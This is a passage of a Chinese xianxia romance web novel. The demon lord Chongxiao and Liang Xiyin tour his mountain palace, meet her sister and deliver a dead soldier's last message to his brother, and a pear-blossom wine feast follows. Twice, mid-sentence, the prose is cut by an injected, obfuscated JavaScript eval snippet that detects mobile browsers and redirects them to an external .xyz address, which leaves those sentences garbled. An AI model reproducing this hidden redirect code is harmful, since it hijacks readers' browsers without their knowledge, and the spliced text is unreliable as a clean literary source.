梁惜因环视了一圈众魔,他们虽没说话,眼中的恳切却如有实质。她收回视线,对重霄说:“收下吧,毕竟也是一片心意。” 见重霄将东西尽数塞进乾坤袋中,众魔显而易见地松了口气。 重霄示意众魔不必再跟上来,牵着梁惜因继续往山顶走去。视野逐渐开阔,梁惜因扯了扯重霄,指着某处惊奇道:“那是何处?” 重霄适才一直在看梁惜因和脚下的路,此刻顺着她手指的方向望去,一时竟也没答上话来。山顶处赫然立着一座颇为雄伟的石宫,简直不像是与山腰的简朴房屋存在于同一座山上的。 “闻影。”他唤了一声。 一道黑影闪过,还在和魔族闲聊的闻影屁颠地凑了过来:“老大有何吩咐?” “那是何物?”他示意闻影转过身子。 “哦——”闻影拉长嗓音,“那个啊——” 重霄皱眉:“好好说话。” “是,老大。”闻影霎时正经起来,“自...您走后,大家一直坚信您还会回来。大伙平日也没什么事可做,便一道用山中巨石给您修了这么个住处。” 闻影挺起胸膛,神色骄傲无比,就等着重霄的夸赞了。他们的魔尊怎么能挤在那么一个小山洞里?住处自然是要越气派越好! 重霄:“......”他就说山上林立的巨石怎么都不见了踪影。 不少魔族也都凑上来邀功:“魔尊,那些石头可都是小的搬上去的!” “还有小的!是小的负责指挥的。” “魔尊回来前,是小的定期上去打扫的。” 不同的面孔争相出现在二人眼前,梁惜因对侧首重霄说:“阿霄,造这么一座...居所,也确实不容易。” 重霄岂会不知她的意思,他眉目舒展开,对众魔简短道:“辛苦了。” 众魔得了这话,顿时激动起来,连声说着:“不辛苦!不辛苦!小的们也就能做这点事了。” 闻影跟在二人身后,扬着下巴向他们介绍起这座宫殿。 他指着殿前的一块空地道:“这块地是留给魔尊种梨树的。本来我们想自己先种上,只是这山中实在没有梨树种子。”至于重霄一开始带回山的几株树苗,早就枯死了。 梁惜因闻言微诧:“种梨树?” 重霄对闻影使了个眼色,闻影转了转眼珠,立马明白过来,怪笑几声后就化作黑影飞速离开了。 “没想到传闻中筹划灭世的魔尊竟是天天在忙着种树。”梁惜因笑盈盈地等着重霄回话。 重霄将梁惜因颊边的碎发拢至耳后,毫无隐瞒地道:“那时我刚入主漆吴山,玄晖宗是回不去了,也见不到阿因,只能借梨树聊慰相思之苦。只是这山太过贫瘠,直到最后也没能种活一株。” 彼时他被逐出宗,天大地大,却只觉无所归依。他看着枯死的梨树,就如看到了自己藏于心底的爱恋,注定无疾而终。 心口说不上来是什么感受,又是温暖又是酸涩。梁惜因轻抚他的面颊,温声笑道:“现在我们可以一起种。” 风挟着山林的气息缓缓拂过,爱意蔓延,重霄注视着心上人的面庞,语调温柔得似要融在风中:“好。” 106. 永怀 次日清早,梁惜因刚走出殿外,就有一道黑影猛地从山下窜到了她面前。闻影双手捧着一个陶罐,献宝似的递到她面前。 梁惜因好奇接过,而这一接险些没接稳,怎么这么重?她单手抱住陶罐,另一只手打开了上面的盖子,入目的是满满一罐的博石。 梁惜因:“......”这怕是将半座山的博石都找来了吧?? 重霄这时也从殿中出来了,他走到梁惜因身侧,很是自然地接过了她怀中的陶罐,在看清里面的东西后,也是神色一僵。 梁惜因看出他也不知此事,于是好笑地问一旁满脸骄傲的闻影道:“这些石头是你找的?” 闻影点头,又摇头:“昨夜老大问我山中何处这种石子比较多,我寻思老大肯定不会平白无故问我这事啊,当下就叫大伙跟我一块找石子去。”他挠了挠头,“不过我们一晚上也只翻了半座山,还有半座山没找呢。” 梁惜因轻笑出声,闻影记恨着让他挖草的白元绪,对找石头倒是积极的很。她让重霄将陶罐塞进乾坤袋中,对闻影说:“不必再找了,这一罐够我用上许久了。” “好嘞!”闻影应得爽快,拍着胸脯道:“仙子您若是什么时候又需要了,尽管来找我!” - 出了山后,梁惜因和重霄没回玄晖宗,而是去往了皇城的一家酒楼。说明清楚来找谁后,店小二满脸堆笑地引着他们来到了二楼的雅间。 雅间内有两名女子,一坐一站。坐着的那位相貌柔婉,见了梁惜因先是面露喜色,旋即又拘谨起来,学着修仙界的叫法唤道:“含盈仙子,还有...魔尊。” 为免惹人耳目,重霄在下山时就已隐去了眉间的纹样和两枚朱砂痣。但如此相貌不凡,又能与梁惜因这般亲近之人,也只有那位了。 梁惜因上前几步,执住她的手:“三姐何时与我这般生疏了?” 梁书芸一怔,又笑了开来,唤道:“四妹。” 侍立在她身后的春雨满脸喜色地行礼道:“四小姐。” 梁书芸是在前几日听到消息的。含盈仙子和魔尊复生一事不仅在修仙界传得沸沸扬扬,在民间也是不遑多让,连久居深闺的梁书芸都听到了不少风声。 天璇峰的小弟子、姓梁、出生在皇城...除了梁惜因,梁书芸实在想不出其他人选了,是以只觉无比震惊。她的四妹,怎会是那传闻中的含盈仙子?梁惜因也知她一时定然接受不了,在收到她的信后,用梁书芸能理解的话语仔细解释了一番,顺带着约她今日出来见一面。 “没让三姐久等吧?”梁惜因问。 梁书芸摇头:“我也是刚到。” 她不太敢看向重霄。人人都言魔尊重霄嗜杀如命,方才无意中与重霄对上视线时,她顿觉一股寒意从脚底涌起,浑身发凉。但她同时也注意到,重霄看向梁惜因时只有满目的柔情。 她慢慢相信了梁惜因在信中告知她的话,就算是魔尊,心中也是有爱的。 梁书芸抿了口茶水,对梁惜因说:“父亲也知晓此事了。这几日他在城中大肆宣扬,大有让全天下人都知道含盈仙子曾在梁府中住过的意思。”她皱眉,明显心有埋怨,“还来问我你何时回府。” 梁惜因吃着桌上的点心,只觉好笑:“随他去吧,他不是向来如此吗。”她不动声色地将另一只手伸到桌下,挠了挠重霄的掌心。 重霄眉间的郁结一扫而散,五指收拢,不让她把手抽离。 梁惜因抽了几下没抽动,也便算了。见梁书芸仍满面忧色,梁惜因又问:“怎么了?梁允他还做了何事?” 梁书芸轻叹一声,说:“阿爹近来给我许了门婚事,是徐尚书家的公子。” “你怎么没在信中和我说起此事?”梁惜因将手中点心放下,正了神色道:“你不喜欢他?” 梁书芸笑容无奈:“谈何喜不喜欢,我甚至连他的面都没见过。”她握着茶盏的手慢慢收紧,“可能世家女子的命运就是如此,幼时学琴棋书画,长大后再奉父母之命去嫁给一素不相识之人,一辈子都被困在府院中。” 她扭头看向窗外的广阔苍穹,喃喃自语般问道:“四妹,你说我要如何是好?” 梁惜因晃了晃茶盏,说:“如何是好,三姐心中不是早已有答案了吗?” 梁书芸顿了须臾,转头望向她,笑意加深:“说来说去,还是四妹懂我。我已想好了,这门亲事我如何都不会同意,我也不想再待在梁府中了。”她眸中闪着微弱而决然的光芒,“我想要,为自己活一次。” 她时常觉着,不是自己帮了梁惜因,而是梁惜因救了她。 春雨激动地哽咽道:“奴婢愿追随三小姐!” 梁惜因没有第一时间答话,凡间对女子多有束缚,要做到这些事谈何容易?她和梁书芸对视着,却是同时笑了起来。毕竟有些事若不去尝试一番,又怎会知道结果为何? “好。”梁惜因道,“若是遇到什么难处,记得给我写信。” 临到分别时,梁书芸带着春雨,对两人挥手告别。梁惜因目送着她离去,不知是不是她的错觉,她只觉梁书芸的脚步要比此前轻盈许多。 待她们二人的身影消失在转角处,重霄含笑问梁惜因道:“阿因,我们接下来去哪?” 去哪?带着暖意的风吹动了梁惜因的衣摆,浸满了温柔的瞳孔中此刻只有重霄的倒影,她弯唇笑道:“天下之大,哪里不是去处?山水万千,何处没有风光?” 街上的行人来来往往,众生百态。重霄的墨发随风扬起,一同扬起的还有他心中的情意,他柔声应道:“好。那就一道去看看,这两百年后的人间。” - 三年后,华州永怀村。 漫天的黄尘在空中浮动,一家很是简朴的茶铺内,坐着两名与此处格格不入的修士,俱是身着白衣,气度不凡。男子相貌精致,眉目冷冽;女子清丽非常,仙姿佚貌。 他们只是坐在此处喝茶,就轻易引来了周围多数人的目光。 一名老者扛着锄头慢悠悠地从铺旁经过,在看清这二人后,不敢相信般地揉了揉眼睛,接着一把将锄头扔下,跑上前拜道:“恩人啊,恩人!没承想我这辈子竟还能再见到二位恩人!” 梁惜因将他扶起:“我也没想到三年过去了,老伯竟是还记得我们。” 秦老伯躬着身子,五官都因激动皱在了一起:“这天大的恩情,我是想忘也忘不了啊!” 梁惜因轻笑:“令郎的病可好全了?” 听梁惜因还记得他的儿子,秦老伯惊喜之余又有几分惶恐,忙不迭答道:“好了,都好了!村里所有被疯病缠上的人都好了,多亏了仙长们啊!” “二位仙长,我那儿子现在就在家中,我现在就去把他叫来,当面跪谢仙长!” “诶...”梁惜因还没来得及阻拦,秦老伯就已脚下生风地向村中跑去。 不多时,他就领着一青年男子回来了。与三年前相比,秦谦就有如脱胎换骨,不仅更加壮实,整个人也极富精气神。 见了梁惜因和重霄,他二话不说地就跪下磕了几个头,嗓音洪亮:“小民秦谦,谢二位仙长救命之恩!” “快起来吧。”梁惜因见秦谦脑门都磕出红印来了,不禁感慨这孩子是真实诚。 在梁惜因的反复要求下和重霄无言却极具威慑力的目光中,秦家父子二人才拘束无比地在椅子上坐下了。 秦谦憨厚地笑问:“不知二位仙长来此所为何事?” 这话还真问到点子上了,梁惜因说:“村中是不是曾有位名唤‘秦岩’的士兵?在平野上与西朔人打过仗。” 秦老伯愣了半晌,眼含热泪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15034181|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“秦岩...是我二哥。” 梁惜因微讶,与重霄对视一眼。同为秦姓,梁惜因是想到了秦岩说不定与秦老伯有何渊源,没想到竟是这般巧。 在平野破阵之时,梁惜因以忆灵符记下了战场亡魂的执念。这三年间,她与重霄游走世间的同时也在替他们了却执念。 浊泪划过秦老伯满是沟壑的脸,他哽咽着回忆起了当年:“二十多年前,西朔人打了过来。朝廷起初要求每户出一名男丁参军,我大哥便去了,可没过多久就战死沙场。后来西朔人越打越猛,大盛打不过,又从民间征兵。” “也不知我的运气算不算好,因着摔断的腿那时还没养好,征兵的大人不要我,却把我二哥带走了。我是家中最小的儿子,可那时也有三十多岁了。”他痛苦地掩面而泣,断断续续道:“可二哥临走前还和小时候一样,叫我...叫我不要捣蛋,在家等他回来...” “可是二哥啊,你怎么就没回来呢!我一直在等你,可最后连你的尸骨都没见着啊...”秦老伯用布满尘泥的袖子擦着泪水,梁惜因见了,忙将一方干净的帕子强塞进他手中。 “爹...”秦谦也忍不住了,眼角泪水滑落。 梁惜因取出忆灵符,表明来意道:“老伯,我此次前来,就是来帮秦岩了却执念的。他有些话,一直想对你说。” 秦老伯和秦谦同时怔住了,不敢相信自己听到了什么,呆愣地看着她:“仙长,您说什么?” 梁惜因未有多言,她并拢双指,自下而上扫过符纸。下一瞬,空中浮现出了一道身着盔甲的虚影。 秦老伯完全呆住了,双膝一软,跪在了地上,仰头望着这道“神迹”。 秦岩的面孔与秦老伯有几分相似,却要年轻许多。他嘴唇动了动,说:“仙长,我有个弟弟,名唤秦崇,原本就住在离这不远的望野村中,后因战乱搬到了华州城南。不过战争既已结束,他定是会再搬回去的。能不能拜托仙长找到他,就说他二哥秦岩有几句话要对他说。” “母亲年事已高,你要好好照顾她,给她养老送终。我和大哥俱是不孝子,她也只能靠你了。你二嫂性子倔,是不会改嫁的,她身子弱,若是没跟你和三弟妹住在一处,你记得多看顾着些她。” 虚影默了默,又说:“阿崇,抱歉,没能回去找你,你莫要怪二哥。只有将西朔人打退了,你们的日子才能好过起来,也才可以回家......就这么多吧,多谢仙长。” 秦岩扬起嘴角,笑着消散在了半空中。秦老伯泣不成声,急忙伸手去抓那道逐渐淡去的身影,却什么也没抓到。 “二哥...二哥啊!我从未怪过你,是做弟弟的不好,你为大盛丢了命,我却连带你回家都做不到,二哥啊——” 梁惜因不忍地别过头。平野一战结束后,很多百姓都来战场上寻找亲人的尸体。可那么多面目全非的尸体混在一处,从中找到自己的亲人又谈何容易? 除了秦家父子,茶铺内外有不少人都看到了这一幕,此时纷纷涌了过来,手忙脚乱地将快要哭昏过去的秦老伯扶起。秦谦扒在秦老伯的肩头,一把鼻涕一把泪地唤道:“爹啊!爹啊!” 重霄眼疾手快地将一颗药丸塞入秦老伯口中。秦老伯的呼吸顿时平缓不少,一把将秦谦推到了一边:“嚎什么嚎,你老子还没死呢!” 他拒绝了众人的搀扶,又郑重地对两人行礼道:“二位仙长的大恩大德,我实在是无以为报啊!” 其余百姓交换着视线,也跟着弯下了腰:“多谢仙长!” 临走时,梁惜因回眸,再次望向村门口劲瘦的楷书——永怀村。 按秦岩的说法,这村子原本被唤作望野村,在平野之战后改为了永怀村。 永怀、永怀,战场上死去的将士们,其实从未被百姓忘却,一直活在他们心间。 107. 爱意 梁惜因开了道阵门,和重霄回了天璇峰。 落雪轩的院门半敞着,梁惜因一眼便望见了院中的圆桌和坐在桌旁手拿筷子,等着吃饭的扶岳。梁惜因迈进院中,问他道:“其他人呢?” 扶岳趴在桌上,见她和重霄来了,慢慢坐直了身子答道:“惜时在厨房做饭,既微和韵舒在给他帮忙。” “你怎么不去?”梁惜因又问。 扶岳撇了撇嘴,委屈道:“我也想啊,可他们都嫌我笨手笨脚的,把我赶出来了。” 梁惜因:“......”不行,要忍住,不能笑。 林韵舒端着菜从厨房中走出,见了二人惊喜道:“含盈和重霄来了啊。” 梁惜时听见动静,拿着锅铲就快步走了出来。梁惜因回来后,他不用再维系那几个大阵,不论是身体还是修为,都在日渐恢复,五感也灵敏不少。 “阿因来啦,快坐吧,饭一会就好。桌上有点心,可以...”他说到一半顿住了,和梁惜因同时看向桌上那空空如也、连半点残渣都不剩的碟子。 梁惜时面上还是微笑着的,握着锅铲的手却青筋毕现,拖长声音道:“扶—岳—” 扶岳咽了口唾沫,双手扒在林韵舒的肩上,缩在了她身后:“夫人救我。” 林韵舒:“......” 梁惜时:“......” 他正要过去把扶岳揪出来,就听厨房里传来谢既微无助的喊声:“惜时!这锅要糊了啊!还一直在溅油!” “来了!”梁惜时又急匆匆地跑了进去,还不忘回头威胁扶岳道:“过会再来收拾你。” 重霄和梁惜因说了一声,也去厨房帮忙了。见他进来了,谢既微和和气气地打了声招呼。梁惜时起初没说话,在重霄唤了他一声“哥”后,才心不甘情不愿地应了一声。 “点心既是没了,那我再做一盘。”重霄自告奋勇道。 梁惜时立马说:“不必,我来就行。” “那我帮哥做菜。” “无妨,我自己来。” 重霄:“......” 梁惜时:“......” 半刻钟后,梁惜时和重霄各据厨房一边,埋头做着自己的菜,面上神情俱是不甘示弱。伴随着碗碟锅勺之声,饭菜的香气愈渐浓烈,谢既微抄袖站在角落,吸了吸鼻子,不知为何,他总觉着这香气中似乎还掺杂着一丝火药味... 他笑着摇了摇头,走出了这不再需要他的厨房。自魔尊重霄复出后,世间怨气已基本消失殆尽,作乱的魔族也大有收敛,如今的人间正是一片清明之景,他这个玄晖宗掌门也难得清闲了下来。 谢既微站在院中,目光随着天际薄云移动。他往日最是求而不得的清闲日子,如今真正过上了,反倒偶尔还会不适应。 梁惜因独自待在后院中,蹲下身拨弄着面前的聚灵草。三年前事了后,她便在落雪轩中种下了这片聚灵草,又将养灵符上附着的陆闻朔残魂引入了草中。 养灵符虽也能养魂,但到底比不上吸取日月精华而生的聚灵草,只能做临时寄居之用。但要真正论起来,还是心护阵的养魂效果最好,毕竟那耗费的是另一个人的灵力与心血。 梁惜因闭目,用灵力探查着聚灵草。陆闻朔的神魂虽还是残缺不全,但已不像此前那般虚弱得随时都要消散了。 她复又睁开眼,对这片瞧着平平无奇的小草笑着说:“祝轻云可还在等着与你重逢呢。” 百年也好千年也罢,只要还有希望,一切等待便都值得。 她声音极轻,聚灵草好似听明白了她的意思,分明没有风吹过,却轻轻摇晃起了草叶,似回应、似诉说。 等梁惜因回到前院,却是直接傻了眼。圆桌上满满当当、琳琅满目地堆着各色佳肴,而厨房中竟还有炒菜的声音。扶岳手握筷子、双眼放光,若不是林韵舒在旁拦着,怕是早就忍不住先吃上几口了。 桌上已无半点空处,谢既微放在腿上的双手握着茶盏,对梁惜因投去一个“你懂的”的眼神。 梁惜因:“......”早在重霄主动去厨房帮忙之时,她就该料到这一幕了。 这种情况也非头一次出现了,她熟练地又在院中置了两张桌子,随后去符喊人。不多时,院中就站满了熟悉的面孔。 时隔三年,叶天舟瘦了不少,眉眼间少了几分稚嫩,但不变的是他身上那份少年意气。他边端菜边喊道:“我就说我今日眼皮怎么一直跳,原是有好事发生!” 江映和擦了擦不存在的口水:“前辈,下次再有这种好事,务必要喊上我!” 柳甫畅偷偷去牵燕明昭的手,结果被毫不留情地拍开:“这么多人呢,注意一点。” 柳甫畅环视一圈,莫名心虚地扇了扇手中折扇,又凑过去说:“那回去再牵。” “不要。”燕明昭呷了口茶,果断拒绝。 “明昭。”柳甫畅凑得更近,在她耳边低声唤道。 “噗——”燕明昭面色迅速涨红,直接将茶喷了出来,又一巴掌呼在他脸上。 捂着脸的柳甫畅:“......”已老实。 坐在一旁的谢淳微笑着,早便对这副场景见怪不怪。 梁惜因走进厨房中,对忙得热火朝天的两人说:“哥,阿霄,可以了,这么多菜完全够吃了。” 梁惜时和重霄同时停下了手中动作,重霄先开口道:“阿因,你怎么进来了,这里烟味重,你在外面等着便好。” 梁惜时紧随其后说:“快些出去吧阿因,我把这道笋炒完就结束了。” 两人说话算话,各自又做了一道菜便相继熄火了。 院内,三张圆桌上的饭菜无不是色香味俱全。梁惜因左手边坐着重霄,“阿因,尝尝这个,白炸春鹅。”右手边坐着梁惜时,“阿因,这笋鲜嫩,你尝尝看。” “阿因,百味羹要趁热吃...” “阿因,这道蜜烧肉炙...” “......” 两人夹的菜没一会就在梁惜因面前堆成了小山,她抬起手,一左一右地止住了两人的动作,不顾那一委屈一疑惑的眼神,说:“好了,别给我夹了,你们自己也多吃一些。” 纪长天和常谧埋头用着饭。他们二人早已离宗,回来的时日并不多,也鲜少吃到梁惜时和重霄做的饭菜,但每一次纪长天都忍不住对常谧小声感慨道:“我总算明白师尊此前为何从不在饭堂用饭了。” 这口感、这味道,哪是区区饭堂能比的!比起合虚山的清汤寡水,更是好吃了不知道多少倍啊! 柳甫畅的半边脸上隐约还有红印,他嚼着口中的饭菜,真诚说道:“若是能让我天天吃到这样的饭食,我愿散尽家财。” 燕明昭无情戳穿他:“你哪来的家财,那不都是柳老爷的家财吗?” 柳甫畅:“......”口中的饭突然就不香了。 殷照十分不顾脸面地和小辈们抢着菜:“去去去,要尊师重道,明不明白?” 众人:“......”这个词是这样用的吗? 做这一顿饭原是为了那新酿好的两坛酒,没过一会,梁惜因就将两坛梨花酿从树下起出。梨花的香气本是十分淡的,这一酿成了酒,那香气骤然浓烈起来,直往人鼻中钻去。风起,花瓣从枝头飞落,其中一瓣打着旋地落在了梁惜因杯中。 梁惜因晃了晃杯中清酒,就着那瓣梨花一饮而尽。芳香在口中绽开,溢满了口腔,也填满了胸腔,清冽极了。 扶岳想要添酒:“吃光了惜时做的点心是我不对,我这就自罚三杯!” “一边去。”梁惜时在桌下给了他一脚:“罚你只能喝三杯!” “惜时——好绝情啊——”扶岳嚎道。 谢既微笑着抿了口酒:“这梨花酿的味道,还是与以前无异。” “是啊。”梁惜因回道。笑语不断,酒香如故,梨花树下的这场共饮,他们已等了两百多年。 一共就两坛酒,分到每个人杯中也没有多少,且梨花酿本就不易醉人。但不知是今日的春光太过和煦,还是席间的笑声太过喧沸,众人脸上竟都带着些微醉意。 杜昱打了个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15037869|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饱嗝,揽住叶天舟的肩膀,双目迷离地说:“叶兄,你知不知道,我早就想再跟你打一架了!” 叶天舟面色酡红,高声喊道:“打就打,谁怕谁啊!” 江映和将脑袋插到他们二人中间,醉醺醺地说:“不许打架,都不许打架啊...” 苏柚枕着手趴在桌上,已是睡得不省人事。 谢淳不知何时坐在了地上,仰头对天道:“阵道,终于迎来了复兴啊...” 殷照还在高呼着:“好酒,好酒啊!” 纪长天抱着酒坛,正对着梨树喃喃自语。 扶岳喝的酒早就不止三杯了,此刻迷迷糊糊的,虎尾巴都露了出来,毛绒绒的,一下一下地扫着林韵舒的手心。 梁惜因正欲将最后一杯酒饮尽,却被重霄握住了手腕,“阿因,少喝些。”重霄面色依然苍白,像是丝毫没有被酒意影响。 梁惜因不依,凑过去在他颊上亲了一口,又趁着他愣神的功夫饮下了杯中酒。 重霄将手抬起,旋即又放了下去。面上被亲过的地方,带着微微的热意,一直烧到了心口。 仍旧笑着的谢既微和恨不得将茶盏捏碎的梁惜时:“......”有些事,在见多了之后,你不习惯也得习惯。 天边蓦地响起阵阵闷雷声,将还浸在酒意中的众人惊醒了片刻。 梁惜因双唇翕动:“惊蛰...” 又是一年惊蛰时。 雷声响在了落雪轩中,响在了漆吴山上,响在了大大小小的修仙门派,也响在了这浩浩凡尘中。一时之间,不论是乘着龟甲的玄修大能、携着一缕残魂在世间游走行善的医修,抑或是锦衣玉食的官家子弟、为生活奔波的万千百姓......都不约而同地停下了手中的动作,凝神细听着这道唤醒生灵无数、也唤醒了春日的惊雷。 天色慢慢阴沉下来,用完饭后,众人也并未久留,陆续晃悠着走出了院门。殷照对杜昱几人说:“喝酒不御剑,御剑不喝酒。来,我布个阵送你们回去。” 说着,他揪住双指捏符、正准备开溜的江映和:“御符也不行,从阵门走。” 梁惜时照旧留在最后才离开,他从院门外探进来半个身子,指了指自己的眼睛,又指了指重霄,意思再明显不过——我会一直盯着你。 重霄:“......” 他露出微笑,和往常一般应道:“哥,放心,我会照顾好阿因。” 梁惜时又看了二人一眼,哼哼唧唧地走了。 院中复又空荡起来,却并无落寞之感。梁惜因酒意未消,在重霄怀中蹭了蹭,嘟囔道:“喜欢阿霄...” 重霄喉间滑动,将人打横抱起,轻柔地放在了卧房内的檀木床上。原先的床早在三年前就被换掉了,落雪轩的这间卧房本就不大,眼下更是被檀木床占去了一半。 重霄欺身压在梁惜因身上,吻住她的双唇。粘腻的水声在寂静的室内响起,花香混杂着酒香在两人口中翻涌着,重霄只觉自己也要醉了。 衣带被解开,重霄的吻不断下移。梁惜因双颊通红,微微喘息着,衣服被掀开的凉意让她短暂清醒了片刻,她推了推重霄,“阿霄,现在还是白天...” 重霄手指轻动,窗扇在一瞬间合拢,室内昏暗下来。重霄动作不停,“无妨,阿因,没有人会过来。” 良久没等到梁惜因的回应,重霄抬眸,却见梁惜因不知何时已睡熟了,眉目舒展,面上潮红未退。重霄失笑,他与梁惜因额头相抵,抬手轻抚她的面颊,呢喃着说:“我也好喜欢阿因。”喜欢到...想和她相守至永远。 他起身替梁惜因和自己脱掉外衣和鞋袜,拥着她一同在床上躺下。 梁惜因睡得不安稳,一手在被中胡乱摸索着,直到被重霄牵住,她的神色才逐渐放松下来,唇边笑意浅浅。重霄凝视着她的面容,爱极了般的又在她唇上落下几个吻,极轻、也极柔。 室内静谧,唯余两人交缠在一起的呼吸声。 窗外梨花飞旋,似梦中云,云外雪,雪中春。 年复一年,常开不败。 108. 番外一 明暗 1.风雪 “呼哧—呼哧——”白元绪大口喘息着,拼了命的逃跑。 逃,必须要逃,只有从那几人手中逃出去,他才有活下去的可能。 身上的锦衣早已破烂得不成样子,根本看不出原本的颜色。他的双手满是污泥和血迹,在寒风中冻得几要失去知觉。眼眶酸涩,他咬紧牙关,将泪水逼了回去。 几日前,他还是皇城白家的独子,可他父亲却因卷入一场贪墨案中而被斩首,母亲也因急火攻心而亡。树倒猢狲散,白家的仆人纷纷走得走、散得散,哪怕往日白家待他们并不薄。此种情形下,自己活着尚且不易,谁又会可笑地去顾及那往昔旧情? 如此也便罢了,不过人之常情。可有几个仆人却恶向胆边生,竟是要将他——白家唯一的后人卖给城中的人牙子,好最后再捞上一笔。 他心中恨极,却也惧极,只能趁着夜深他们不注意时逃出来。疾风夹杂着飞雪打在他面上,刀割一般,他却不敢停下步子。 脚步越发沉重,白元绪喘息着,吸进来的寒气搅得嗓子生疼。在夜色与飞雪中,他模模糊糊地望见前方有一破败的房屋。白元绪拖着脚步向前走着,他知现在绝非休息之时,那几个仆人一旦发现他逃了,定会不遗余力地搜寻。可...他若是再不停下休整片刻,只怕连这片林子都走不出去了。 一番权衡下,他还是深一脚浅一脚地走进了这间破屋。出乎意料的是,这屋子瞧着破旧,却还算得上结实,好歹是把风雪都阻挡在外了。 白元绪的双眼渐渐适应了屋中昏暗,他看出来,此处其实是一间庙宇,一间不知何时建成、早已破败不堪的庙宇,就连正中的神像都被蛛网和灰尘覆满,看不清面目。 白元绪缓慢挪动步子,走到神像前一张快要烂掉的软垫上坐下。庙内还算得干燥,他摸出两块石头,想要生火暖暖身子。 “啪—”、“啪—”,打了几下没打着,白元绪的动作慢了下来,心头的委屈如洪水般喷薄而出,他再也按捺不住地抽泣了两声。分明前几日,他还在过他的十五岁生辰,彼时父母俱在、亲朋满座,可眼下伴于他身侧的却只有凛风、寒雪与昏暗的夜。 “簌簌——”神像后传来细微的声响,瞬间将白元绪的思绪打断。他起初还以为是自己听错了,可那声音并没有消失,断断续续地响着。 “...谁?”白元绪心中生疑,他咽了口唾沫,一步一步轻声移到了神像后方。他脑中闪过很多种可能性,却没曾想会看见一个将死的少年。 那少年瞧着比他还要小上几岁,瘦得简直是皮包骨头,在这冬夜里也只穿了几件单衣。他躺在一堆干草上,应是察觉到有人来了,强撑着最后一口气想要坐起来。 此情此景下,白元绪万没想到会遇上一个与自己境遇相似之人。少年郎做不到见死不救,连忙上前几步将人扶坐起来。 那少年面无血色,双眼半睁着,满是冻疮的手虚握在白元绪的腕上,自干裂的嘴中发出微弱的气音。 “什么?”白元绪没听清,又凑近了些,这才听见了他不断重复着那个字,“水、水...” 水?这荒郊野外的,哪里有水?白元绪心中焦急,几星雪点透过窗扇的缝隙落在了他脸上,凉得刺骨。蓦地,他灵光一闪,急忙跑出了庙宇。 等再进来时,他手中多了一捧干净的雪。他的手本便凉极了,那雪自是也化得极慢。他将手放在少年唇边,雪化一点,他就往他口中喂一点。 渐渐的,少年的唇不再那么干了,恢复了些微血色。他看着白元绪,语气依旧微弱:“...谢谢。” “小事。”白元绪甩了甩被冻僵的双手,找出方才的那两块石头,又试着打起火来。 几次过后,他终是成功了。橙红的火苗摇晃着,照亮了他的双眸。白元绪惊喜非常,慌忙将聚起的一小堆干草点燃。火堆燃起的一瞬间,屋外的凄风寒雪好似都远去了。 那少年也坐近了些,伸出手来烤火。白元绪摸出怀中仅剩的干粮,分了大半给他。少年虚弱地摆手:“恩公,你自己留着吧。” 白元绪没跟他多言,直接将干粮塞到了他手中:“吃。” 燃烧的火堆将两个少年的影子拉得极长,白元绪问他道:“你叫什么名字?” “贺五。” “你在这里作甚?” 贺五也恢复了些力气,他默了默,慢慢说道:“我无父无母,自小就在街头流浪。对我们这些人来说,每个冬天都是鬼门关。往年白老爷还会在府前施粥,可朝廷今年却将白老爷那般好的人给杀了。” “和我一起流浪的几个弟兄都死了,我找不到吃的...” “所以就一个人跑到这破庙里来等死?”白元绪打断他。 贺五神色黯淡,他没回话,俨然是默认了。良久,他抬头看向那面目模糊的神像,说:“有神佛保佑,下辈子说不定还能投个好胎。” 话音刚落,他就听得白元绪嗤笑一声,“什么神佛,骗人的把戏罢了。”若当真有神佛,为何他一向正直的父亲会以贪墨之罪被处死,而那些真正为恶之人却仍能逍遥于世? 贺五皱眉,似是想说些什么,却还是把话咽了回去,转而问道:“恩公怎么称呼?” “我叫白元绪。” 贺五瞪大了眼,几下把口中嚼着的干粮咽了下去,跪地道:“原是白老爷之子!”他眼眶通红,“您和白老爷,都是顶好的人!可您怎么会...” “别问了。”白元绪看向门口,几缕极细的晨光透过门扉照射进来,天要亮了,那几人应是也快找过来了。 他把外衣脱下,丢给贺五:“别嫌脏,穿上后就尽快回城里去,别在此处久留。” 贺五手忙脚乱地接住衣服:“这怎么行,我不过贱命一条,外面天那么冷,公子你扛不住的!” 白元绪向门口走去:“别说什么贱命不贱命了,好好活下去,我和父亲才算是没白救你。” 贺五站起身,但因动作太猛,他眼前一黑,又腿软地跌坐在地,只能用尽全身力气大喊道:“公子,你要去哪?我要怎么报你的恩?” 白元绪打开门,屋外雪势不减反增,呼啸着的风雪一时竟吹得他睁不开眼来,他屈起手臂挡着飞雪,同样喊道:“我也不知道去哪!报不报恩的,等你我还能活着遇见再说!” 白元绪所料不错,那伙人在发觉他不见后很快就追到了这来。身后的脚步声越来越近,白元绪的喘息声也愈发粗重,他隐约能看见前方城镇的轮廓,但他...走不到那了。 他闪身避开身后人朝他抓来的手,在几人的围追堵截下,慌不择路地爬上一棵树。往日里对他极尽谄媚的仆人将树围住,紧跟着往上爬。 白元绪绝望地闭紧双眼,他还不想死...白家就剩他一个后人了,他想活,想活下去... “啊啊啊——”耳边猝然传来一阵惨叫声,白元绪惊疑不定地睁开眼,却见一头通体缠绕着黑雾的狼正撕咬着树下的几人。受惊之下,正爬树的那仆人大叫着跌了下去。 